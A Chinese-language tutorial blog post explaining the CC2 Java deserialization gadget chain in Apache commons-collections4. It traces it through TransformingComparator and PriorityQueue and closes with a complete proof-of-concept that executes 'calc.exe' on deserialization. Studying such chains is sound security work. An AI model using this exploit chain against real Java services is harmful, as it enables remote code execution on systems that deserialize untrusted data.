【Web】Java反序列化之CC2——commons-collections4的新鏈之一

目錄

關于commons-collections4

一個重要的思維模型

觸發Transform的關鍵類:TransformingComparator

反序列化的入口:PriorityQueue

Exp


關于commons-collections4

commons-collections4 是 Apache Commons 組件庫中的一個項目,它是對舊版本 commons-collections 的重構和升級。主要的區別包括:

  1. API 設計:commons-collections4 重新設計了 API,并且引入了一些新的功能和改進,同時也修復了一些舊版本中存在的 bug。

  2. 性能優化:commons-collections4 進行了性能優化,使得在實際使用中更加高效。

  3. 安全性增強:commons-collections4 引入了更多的安全性措施,以防止常見的安全漏洞。

commons-collections4有了兩條新的利用鏈,CC2和CC4,這篇文章簡單聊聊CC2

一個重要的思維模型

CC鏈是一條Serializable#readObject()到Transformer#transform()的調用鏈

觸發Transform的關鍵類:TransformingComparator

看其compare方法就可,簡單粗暴直接調用transform

public int compare(I obj1, I obj2) {O value1 = this.transformer.transform(obj1);O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);}

現在我們的任務就是怎么去調用TransformingComparator的compare方法

反序列化的入口:PriorityQueue

先看PriorityQueue的構造方法,要求傳入一個int和一個Comparator

 public PriorityQueue(int initialCapacity,Comparator<? super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;}

再來看PriorityQueue的readObject方法

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, size);final Object[] es = queue = new Object[Math.max(size, 1)];// Read in all elements.for (int i = 0, n = size; i < n; i++)es[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}

最后調用了heapify方法

顯然由構造方法傳入的comparator不為null,heapify方法進了else分支調用siftDownUsingComparator

 private void heapify() {final Object[] es = queue;int n = size, i = (n >>> 1) - 1;final Comparator<? super E> cmp;if ((cmp = comparator) == null)for (; i >= 0; i--)siftDownComparable(i, (E) es[i], es, n);elsefor (; i >= 0; i--)siftDownUsingComparator(i, (E) es[i], es, n, cmp);}

而siftDownUsingComparator內部會調用構造方法傳入的comparator的compare方法,此時我們只要令comparator為TransformingComparator即可完成利用鏈的調用。

 private static <T> void siftDownUsingComparator(int k, T x, Object[] es, int n, Comparator<? super T> cmp) {// assert n > 0;int half = n >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = es[child];int right = child + 1;if (right < n && cmp.compare((T) c, (T) es[right]) > 0)c = es[child = right];if (cmp.compare(x, (T) c) <= 0)break;es[k] = c;k = child;}es[k] = x;}

Exp

package com.CC2;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;public class CC2 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Comparator comparator = new TransformingComparator(transformerChain);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain, "iTransformers", transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/712499.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/712499.shtml
英文地址,請注明出處:http://en.pswp.cn/news/712499.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在Linux上定時執行腳本

在Linux上定時執行腳本通常可以使用 ?cron?任務來實現。?cron?是一個系統服務&#xff0c;用于在預定時間自動執行命令或腳本。下面是如何在Linux上設置定時執行腳本的步驟&#xff1a; 編寫腳本&#xff1a;首先&#xff0c;你需要編寫需要定時執行的腳本文件&#xff0c;…

找不到msvcp140.dll無法運行程序如何處理?分享5種解決方法

在計算機系統運行過程中&#xff0c;如果無法找到必要的動態鏈接庫文件msvcp140.dll&#xff0c;可能會引發一系列的問題與故障。這個特定的dll文件是Microsoft Visual C Redistributable Package的一部分&#xff0c;對于許多基于此編譯環境開發的應用程序至關重要。缺失msvcp…

C++的常用排序(未完待續)

注&#xff1a;本文以升序為例 一、冒泡排序 1.1 操作方法 步驟1比較相鄰元素&#xff0c;如果前者比后者大&#xff0c;則交換它們。步驟2對頭到尾&#xff0c;對所有元素按序執行一輪這樣的操作(這樣可以找到第一最大值)步驟3再從第一個元素開始&#xff0c;重復上述比較操…

jax可微分編程的筆記(8)

jax可微分編程的筆記(8) 第八章 循環神經網絡 神經網絡是可微分編程中最為重要的模型構造形式&#xff0c;也是當代 深度學習的基本組成部分&#xff0c;深度學習中的“深度”一詞&#xff0c;便是對 神經網絡的層數的形容。 8.1 神經網絡的生物學基礎 通過層層近似&#x…

智能駕駛規劃控制理論學習02-基于搜索的路徑規劃方法

目錄 一、路徑搜索問題 二、圖論基礎 三、圖搜索方法 1、廣度優先搜索&#xff08;BFS&#xff09; bfs與dfs的區別 bfs的搜索過程 bfs的算法實現 2、迪杰斯特拉算法&#xff08;Dijkstra&#xff09; 核心思想 優先級隊列 Dijkstra搜索過程 Dijkstra優缺點…

【.NET Core】深入理解IO - FileSteam流

【.NET Core】深入理解IO - FileSteam流 文章目錄 【.NET Core】深入理解IO - FileSteam流一、IO流概述二、文件流FileStream2.1 FileStream概述2.2 FileStream檢測流位置更改2.3 FileStream構造函數2.4 FileStream常用屬性2.5 FileStream.Read方法2.6 FileStream.Write方法2.7…

插混、油混、增程式、輕混、強混,啥區別

這里寫自定義目錄標題 隨著我國新能源汽車的大力推進&#xff0c;電車可以說是世界未來的主流&#xff0c;只不過現在是處在一個過渡時代 這是個好時代&#xff0c;因為我們見證并體驗著歷史過渡的細節 這是個不好的時代&#xff0c;因為我們可能只是未來新新人類的試驗品 幫他…

MyBatis 學習(三)之 MyBatis 全局配置文件

目錄 1 MyBatis 全局配置文件 2 properties 元素 3 setting 設置 4 typeAlianses 別名處理器 5 typeHandler 類型處理器 6 objectFacotry 對象工廠&#xff08;了解&#xff09; 7 plugins 插件&#xff08;了解&#xff09; 8 environments 運行環境 9 databaseIdPro…

今日arXiv最熱大模型論文:點擊即可播放!港中文發布大模型寫歌神器!

一首歌&#xff0c;包含作詞作曲兩個部分。擅長作詞or作曲就已經很牛了。比如方文山是周杰倫的御用作詞人&#xff0c;而周杰倫寫過很多耳熟能詳的曲子。而兼具作詞作曲才華的全能創作人卻是難得一見。 最近港中文發布了一款歌曲創作大模型SongComposer&#xff0c;作詞作曲都…

自測-1 打印沙漏

文章預覽&#xff1a; 題目算法代碼 題目 算法 以前做過這個&#xff0c;那次是c語言寫的&#xff0c;一點一點處理一層一層完成&#xff0c;這次我換了一種語言用了另一種思想使用遞歸去寫&#xff0c;還是我們要先求出應該有多少層這個很容易&#xff0c;中間輸出部分我們算…

常見查找算法Java實現

順序&#xff08;線性&#xff09;查找二分查找/折半查找插值查找斐波那契查找 線性查找 判斷數列是否包含要求&#xff0c;如果找到了&#xff0c;就提示找到了&#xff0c;并給出下標值 // 線性查找 public static ArrayList<Integer> seqSearch(int[] arr, int value…

解決 npm install 報錯的問題

在使用 npm 安裝依賴包時&#xff0c;有時候會遇到各種報錯問題&#xff0c;以下是一些常見的報錯及解決方法&#xff1a; 1. ENOENT: no such file or directory 如果出現類似 ENOENT: no such file or directory 的報錯&#xff0c;可能是因為某些文件或目錄缺失或路徑錯誤…

動態規劃課堂3-----簡單多狀態問題(買賣股票最佳時機)

目錄 引入&#xff1a; 例題1&#xff1a;按摩師&#xff08;打家劫舍I&#xff09; 例題2&#xff1a;打家劫舍II 例題3&#xff1a;刪除并獲得點數 例題4&#xff1a;粉刷房子 例題5&#xff1a;買賣股票的最佳時機含冷凍 結語&#xff1a; 引入&#xff1a; 相信看到…

深度學習 精選筆記(8)梯度消失和梯度爆炸

學習參考&#xff1a; 動手學深度學習2.0Deep-Learning-with-TensorFlow-bookpytorchlightning ①如有冒犯、請聯系侵刪。 ②已寫完的筆記文章會不定時一直修訂修改(刪、改、增)&#xff0c;以達到集多方教程的精華于一文的目的。 ③非常推薦上面&#xff08;學習參考&#x…

帶你快速初步了解Python列表

1.列表 列表主要是用來存儲多個數據&#xff0c;是有序的集合 2.創建列表 """ 語法&#xff1a;變量名 [數據1,數據2,數據3......] 注意&#xff1a;列表中的數據類型可以是各種不同的數據類型 """ 創建空列表 list1 [] print(list1) …

Gitlab: 私有化部署

目錄 1. 說明 2. 資源要求 3. 安裝 4. 配置實踐 4.1 服務器 4.2 人員與項目 4.2 部署準備 4.2.1 訪問變量及用戶賬號設置 4.2.2 Runner設置 4.2.3 要點 5. 應用項目 CI/CD 6. 參考 1. 說明 gitlab是一個強大且免費的代碼管理/部署工具&#xff0c;能統一集成代碼倉…

AngularJS入門

1. AngularJS簡介 AngularJS是一個JavaScript框架,用js編寫的庫 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> <!-- 放在<body> 元素的底部。提高網頁加載速度 -->1.1. AngularJS 擴展了 HTML …

Freesia項目目錄結構

目錄結構 前端目錄&#xff1a; &#xff08;目錄結構來自layui-vue-admin&#xff09; src文件下 api&#xff08;前端請求后端服務的路由&#xff09;assert&#xff08;一些內置或必要的資源文件&#xff09;layouts&#xff08;全局框架樣式組件&#xff09;router&…

Unity(第十九部)射線

在Unity中&#xff0c;射線檢測通常用于碰撞檢測&#xff0c;比如&#xff1a;在游戲中&#xff0c;開槍射擊時&#xff0c;需要判斷擊中的物體、子彈擊中的位置&#xff1b;用鼠標來控制物體的移動&#xff1b;用鼠標拾取某個物體。 射線&#xff0c;顧名思義&#xff0c;在數…

【轉載】深度學習筆記——詳解損失函數

原文鏈接: https://blog.csdn.net/weixin_53765658/article/details/136360033 CSDN賬號: Purepisces github賬號: purepisces 希望大家可以Star Machine Learning Blog https://github.com/purepisces/Wenqing-Machine_Learning_Blog 損失函數 根據您使用的神經網絡類型和數…